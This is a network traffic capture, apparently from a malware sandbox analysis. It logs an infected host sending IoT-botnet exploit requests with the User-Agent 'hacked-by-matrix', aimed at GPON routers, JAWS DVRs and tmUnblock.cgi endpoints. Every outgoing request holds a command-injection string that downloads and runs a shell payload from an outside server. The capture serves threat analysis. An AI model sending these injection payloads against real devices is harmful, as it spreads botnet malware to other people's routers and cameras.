Mar 2, 2024 12:38:07.916023970 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:08.012845993 CET	507	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:07 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 313 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 63 68 69 63 6d 61 2e 6d 65 73 73 61 67 65 6f 6e 65 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.15 (CentOS) Server at chicma.messageone.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1330	192.168.2.23	59022	154.17.0.135	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.978244066 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:08.138660908 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1331	192.168.2.23	46342	81.88.32.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:07.999630928 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:08.179526091 CET	495	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:08 GMT Server: Apache/2.4.56 (Debian) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1332	192.168.2.23	33634	104.106.160.185	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:08.009423018 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:08.105175972 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:08 GMT Date: Sat, 02 Mar 2024 11:38:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 63 65 62 37 30 36 38 26 23 34 36 3b 31 37 30 39 33 37 39 34 38 38 26 23 34 36 3b 39 37 31 38 39 32 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.eceb7068.1709379488.9718922</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1333	192.168.2.23	32946	184.168.118.184	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:08.160094976 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:09.882991076 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:11.310056925 CET	1286	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:10 GMT Server: Apache X-Powered-By: PHP/8.0.30 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.lernio.in/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 0a 09 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4c 65 72 6e 69 6f 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 6c 65 72 6e 69 6f 2e 69 6e 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 27 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 72 65 6c 3d 27 70 72 65 63 6f 6e 6e 65 63 74 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 4c 65 72 6e 69 6f 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 65 72 6e 69 6f 2e 69 6e 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 4c 65 72 6e 69 6f 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 65 72 6e 69 6f 2e 69 6e 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – Lernio</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.lernio.in' /><link href='https://fonts.gstatic.com' crossorigin rel='preconnect' /><link rel="alternate" type="application/rss+xml" title="Lernio » Feed" href="https://www.lernio.in/feed/" /><link rel="alternate" type="application/rss+xml" title="Lernio » Comments Feed" href="https://www.lernio.in/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"conc
Mar 2, 2024 12:38:11.310122013 CET	1286	IN	Data Raw: 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6c 65 72 6e 69 6f 2e 69 6e 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 22 7d 7d 3b 0a 2f 2a 21 Data Ascii: atemoji":"http:\/\/www.lernio.in\/wp-includes\/js\/wp-emoji-release.min.js"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.st
Mar 2, 2024 12:38:11.310173035 CET	1286	IN	Data Raw: 63 72 65 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 Data Ascii: creenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=
Mar 2, 2024 12:38:11.310213089 CET	1286	IN	Data Raw: 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 3d 3d 74 26 26 28 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 Data Ascii: s.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function()
Mar 2, 2024 12:38:11.310285091 CET	1286	IN	Data Raw: 20 2b 20 32 70 78 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 32 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 69 6c 65 5f 5f 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 32 33 37 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 Data Ascii: + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray:
Mar 2, 2024 12:38:11.310303926 CET	1286	IN	Data Raw: 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 33 38 2c 32 33 38 2c 32 33 38 29 20 30 25 2c 72 67 62 28 31 36 39 2c 31 38 34 2c 31 39 35 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d Data Ascii: nt(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%
Mar 2, 2024 12:38:11.310369968 CET	1286	IN	Data Raw: 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 38 30 3a 20 35 2e 30 36 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 68 61 64 6f 77 2d 2d 6e 61 74 75 72 61 6c 3a 20 36 70 78 20 36 70 78 20 39 70 78 20 72 67 62 61 28 30 2c 20 30 2c Data Ascii: preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined
Mar 2, 2024 12:38:11.310441017 CET	1286	IN	Data Raw: 2d 77 70 2d 2d 73 74 79 6c 65 2d 2d 67 6c 6f 62 61 6c 2d 2d 77 69 64 65 2d 73 69 7a 65 29 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 7b 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 Data Ascii: -wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > {margin: 0;}body .is-layout-grid{display: grid;}body .is-layout-grid > {margin: 0;}:where(.w
Mar 2, 2024 12:38:11.310513973 CET	1286	IN	Data Raw: 61 73 73 65 74 73 2f 63 73 73 2f 6a 71 75 65 72 79 2e 64 61 74 65 74 69 6d 65 70 69 63 6b 65 72 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c Data Ascii: assets/css/jquery.datetimepicker.min.css' type='text/css' media='all' /><link rel='stylesheet' id='woocommerce-layout-css' href='http://www.lernio.in/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css' type='text/css' media='all
Mar 2, 2024 12:38:11.310529947 CET	38	IN	Data Raw: 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 Data Ascii: ext/css' media='all' /><link rel='sty
Mar 2, 2024 12:38:11.310585976 CET	1286	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d Data Ascii: !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--prese

Session ID	Source IP	Source Port	Destination IP	Destination Port
1334	192.168.2.23	33818	172.64.158.48	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:08.598045111 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:08.871016979 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1335	192.168.2.23	58190	172.67.107.160	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:08.598081112 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:08.870990038 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1336	192.168.2.23	37560	23.239.7.233	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:09.150623083 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:09.305737019 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:09 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1337	192.168.2.23	43830	171.67.69.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:09.150671959 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:09.313594103 CET	512	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Sat, 02 Mar 2024 11:38:08 GMT Server: lighttpd/1.4.55 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 